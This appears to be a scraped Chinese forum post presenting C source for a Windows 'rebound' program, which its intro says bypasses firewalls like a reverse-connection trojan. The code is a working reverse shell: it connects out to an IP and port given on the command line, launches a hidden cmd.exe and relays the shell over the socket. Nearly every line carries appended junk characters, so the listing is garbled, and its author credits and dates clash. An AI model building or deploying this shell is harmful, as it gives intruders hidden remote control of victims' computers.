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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^;64!BaK  
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/* ============================== Zsk?QS FE  
Rebound port in Windows NT +3HPA#A  
By wind,2006/7 Gt5$6>A  
===============================*/ @tQ2E}psP,  
#include e/P4mc)  
#include CKN8z  
)rbc;{.  
#pragma comment(lib,"wsock32.lib") r\bq[9dX>  
] ?9t-  
void OutputShell(); c 85O_J  
SOCKET sClient; r_=p,#}#  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Fd}<Uote3  
UU"d_~pp  
void main(int argc,char **argv) =N;$0 Y(g  
{ neIy~H_#!  
WSADATA stWsaData; rr)9Y][l}  
int nRet; NlMQHma  
SOCKADDR_IN stSaiClient,stSaiServer; ,W8au"  
:@WLGK*u.  
if(argc != 3) Fu mn9  
{ @92gb$xT  
printf("Useage:\n\rRebound DestIP DestPort\n"); uc\.oG;~q  
return; wmiafBA e  
} s79 q 5  
@[0jFjK  
WSAStartup(MAKEWORD(2,2),&stWsaData); Y8t Nwh  
h^v9|~ZJ'7  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hOl=W |)v  
`:R-[>5P8  
stSaiClient.sin_family = AF_INET; F\Y,JUn[G  
stSaiClient.sin_port = htons(0); |zb`&tv}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); oX#9RW/ >I  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9g4QVo|  
{ jvWI_Fto  
printf("Bind Socket Failed!\n"); ha5 bD%  
return; /Q]:Uf.J  
} Ef-a4Pi  
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stSaiServer.sin_family = AF_INET; f{f_g8f[  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !HvGlj@(|  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =s6E/K  
fls#LcI9>6  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~X[S<Gi#  
{  .?70=8{  
printf("Connect Error!"); g"w)@*?K  
return; 6,a%&1_  
} >|5XaaDa  
OutputShell(); xdCs5ko  
} 5UPPk$8 `  
(UXv,_"nU  
void OutputShell() \N4d_ fPj  
{ `)LIVi"(D  
char szBuff[1024]; /XjN%|  
SECURITY_ATTRIBUTES stSecurityAttributes; vB=;_=^i 1  
OSVERSIONINFO stOsversionInfo; Bmmb  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ::0aY ;D2  
STARTUPINFO stStartupInfo; G^ K*+  
char *szShell; #!wsD7;  
PROCESS_INFORMATION stProcessInformation; 6xyY+  
unsigned long lBytesRead; )K8P+zn~  
TS/Cp{  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @pTD{OW?  
aX:#'eDB  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); lGl[^ 0  
stSecurityAttributes.lpSecurityDescriptor = 0; ?VUgwP_=  
stSecurityAttributes.bInheritHandle = TRUE; q"P5,:W  
:EYu 4Y  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); VjC*(6<Gj  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fFjLp l  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); OiYNH~hv  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j!6elzg  
stStartupInfo.wShowWindow = SW_HIDE; hEVjeC  
stStartupInfo.hStdInput = hReadPipe; 8e]z6:}'E  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :U!'U;uQ  
B>{|'z?%>  
GetVersionEx(&stOsversionInfo); @][ a8:Y9I  
lb-S0plw  
switch(stOsversionInfo.dwPlatformId) y;zt_O/  
{ &G0l&8pa  
case 1: t|go5DXz4  
szShell = "command.com"; oNiToFbQu  
break; fui4@  
default:  i<B:  
szShell = "cmd.exe"; ?SB[lbU  
break; }pbBo2  
} IOSuaLH^  
V?U%C%C|e  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); MZ;"J82p  
Uuwq7oFub  
send(sClient,szMsg,77,0); Cf.pTYSl  
while(1) -}=@ *See#  
{ >2]Eaw&W  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *37LN  
if(lBytesRead) qk_p}l-F1  
{ E}xz7u   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); VQ1?Db(_2  
send(sClient,szBuff,lBytesRead,0); 3g?MEM~  
} 7$g*N6)Q  
else Ymwx (Pm  
{ LFk5rv'sM0  
lBytesRead=recv(sClient,szBuff,1024,0); =fKhXd  
if(lBytesRead<=0) break; U@o2gjGN  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <Cf7E  
} ;J,,f1Vw  
} s[0prm5.  
1TK #eU  
return; yRgDhA  
}
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